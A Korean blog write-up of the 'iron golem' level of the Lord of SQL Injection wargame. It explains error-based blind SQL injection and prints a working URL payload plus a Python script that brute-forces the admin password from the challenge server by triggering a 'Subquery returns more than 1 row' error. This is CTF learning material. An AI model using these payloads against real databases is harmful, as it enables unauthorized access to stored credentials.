본문 바로가기
Web/Lord of SQL Injection

Lord of SQL Injection 21단계 (iron golem)

by jh117jh 2023. 4. 5.
728x90

이번에 처치할 몬스터는 iron golem!

징징이 닮았다...ㅎ

코드를 보면

필터링에 sleep, benchmark가 추가되었다.

처음에는 이걸 왜 필터링하였는지 몰라 검색해 봤더니 time base sql injection에 사용된다고 한다.

(select * from table sleep(2) 이 쿼리문이 성공하면 2초 기다렸다가 결과가 반환된다. 실패하면 바로 반환되는 점을 이용한 blind sql injection이다.)

 

그다음 주의 깊게 볼 코드는 if(mysql_erroe($db) exit(mysql_error($db)); 이 부분이다.

sql문에 에러가 생길 시 에러메시지를 출력하는 것인데 우리가 지난 문제들을 풀 때는 hello admin! 같이 참일 때 알림이 출력되었지만 이번 문제에서는 아무런 메시지도 출력되지 않는 것을 알 수 있다.

 

이를 봐서 에러메세지를 이용한 error based sql injection을 사용하는 것을 알 수 있었다.

 

error based sql injection에는 다양한 방법이 존재하는데

이번 문제에서 사용할 방법은 union을 사용해 볼 예정이다. 

 

union은 ctf에서도 사용해봤는데 union을 이용하면 select문 두 개를 합한 결과를 출력하므로 

결과 반환값의 수가 맞지 않으면 에러메세지를 출력하게 된다.

 

?pw=' or id='admin' and if(length(pw)=1,(select 0 union select 1),True)%23과 같이 입력할 시 

if문을 통해 pw의 길이를 알아볼수 있는데 pw의 길이가 참이면 union을 실행시켜 에러메시지가 나타나게 하는 형식이다.

 

union이 실행되면 나타나는 에러메세지

이 방법을 통해 저번에 사용했던 코드에 변형하여 pw의 길이와 값을 알아보는 코드를 작성해보았다.

 

import requests
url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookies={"PHPSESSID":"ke1oo8qkfgv5k8af41pajf039k"}
string="0123456789abcdefghijklmnopqrstuvwxyz"

pw=""

for i in range(0,100): #길이구하기
    pay=f"?pw=%27%20or%20id=%27admin%27%20and%20if(length(pw)={i},(select%200%20union%20select%201),True)%23"
    res=requests.get(url+pay,cookies=cookies)
    
    if "Subquery returns more than 1 row" in res.text:
        length=i
        print("length:",i)
        break

for i in range(1,length+1): #pw구하기
    for j in string:
        pay=f"?pw='or id='admin' and if(substr(pw,{i},1)='{j}',(select%200%20union%20select%201),True)%23"
        res=requests.get(url+pay,cookies=cookies)

        if "Subquery returns more than 1 row" in res.text:
            pw+=j
            print("pw:",pw)
            break
print("password:",pw)

 

점점 pw 길이가 길어지는것 같다...

굿굿!

다음 몬스터 잡으러 가자~!

728x90